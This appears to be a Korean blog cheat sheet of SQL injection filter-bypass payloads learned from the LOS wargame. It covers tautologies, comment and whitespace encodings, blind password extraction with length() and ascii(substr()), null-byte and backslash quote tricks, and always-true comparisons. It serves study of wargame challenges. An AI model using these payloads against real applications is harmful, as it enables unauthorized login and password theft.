LOS 워게임으로 알아가는 SQL 인젝션 우회기법!
1.문자열 입력 받을때 무조건 참 만드는 방법
'(싱글쿼터)로 막아두고 모조건 참이 되도록 or 1=1을 입력해준다
2.주석처리 하는법
# 을 직접 적으로 쓰지 못하니까 %23을 써서 우회한다
3.PW 구하는법
'or id='admin' and length(pw)<9 %23 -길이를 확인한다
'or id='admin' and ascii(substr((pw),1,1))<100 %23 ascii 코드로 한글자 한글자 구한다
4.공백 우회
1). Tab : %09
- no=1%09or%09id='admin'
2). Line Feed (\n): %0a
- no=1%0aor%0aid='admin'
3). Carrage Return(\r) : %0d
- no=1%0dor%0did='admin'
4). 주석 : /**/
- no=1/**/or/**/id='admin'
5). 괄호 : ()
- no=(1)or(id='admin')
6). 더하기 : +
- no=1+or+id='admin'
7). %0c
5.우회 문자
'=' -> like,<>,in ()
ascii -> ord(),hex()
substr->substring,left,right,mid
만약 ascii값이 터무니 없게 크게 나오면 확장된 ascii 코드표 참고
출처:http://blog.daum.net/you0ha/18284059
6.or and 필터링
||,&&=%26%26
7. ereg 함수 우회
대소문자 구별을 하기 때문에 Admin 으로 우회한다
ereg 함수의 취약점:
첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 id=%00'or 1=1%23
8.str_replace 우회하기
id=adadminmin
9.싱글쿼터 우회하기
id='\' and pw=''
이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다
따라서 \' and pw=' 까지가 하나의 문장으로 묶여 버리고
그뒤는 쿼리로 인식할수있다
10.문자열이 ()로 묶여 있을때
')로 탈출이 가능하다
11.주석 우회 ;%00
12.개행 문자
한줄 주석을 우회할때 유용하게 쓰인다.
%0a
13.항상 참이되는 식 만들기
//모두 참으로 만들기
이것은 -1보다 0이 더 크기 때문에 공격이 가능한 것이다.
'>-1#
또한 0이 1보다 작기 때문에 이것도 로그인이 가능하다.
'<1#
꼭 숫자가 한자리만 필요한건 아니다. 다음과 같이 연속적으로 사용이 가능하다.
1'<99#
비교 연산도 마찬가지 이다. 0=1은 0이 될 것이고 0이된 결과 값으로 id=''=0 참이 된다.
'=0=1#
또한 서로 값이 같아야 하는 비교 연산도 있다.
'<=>0#
이렇게 비교 연산을 이용하면 얼마든지 추가 응용이 가능한 공격 이다.
'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#
'WARGAME > LOS' 카테고리의 다른 글
[LOS] 1~20번 문제 한번에 보는 정리된 해설 (0) | 2017.12.13 |
---|---|
[LOS] 20번 문제-dragon (0) | 2017.12.13 |
[LOS] 19번 문제-xavis (0) | 2017.12.13 |
[LOS] 18번 문제-nightmare (0) | 2017.12.13 |
[LOS] 17번 문제-succubus (0) | 2017.12.12 |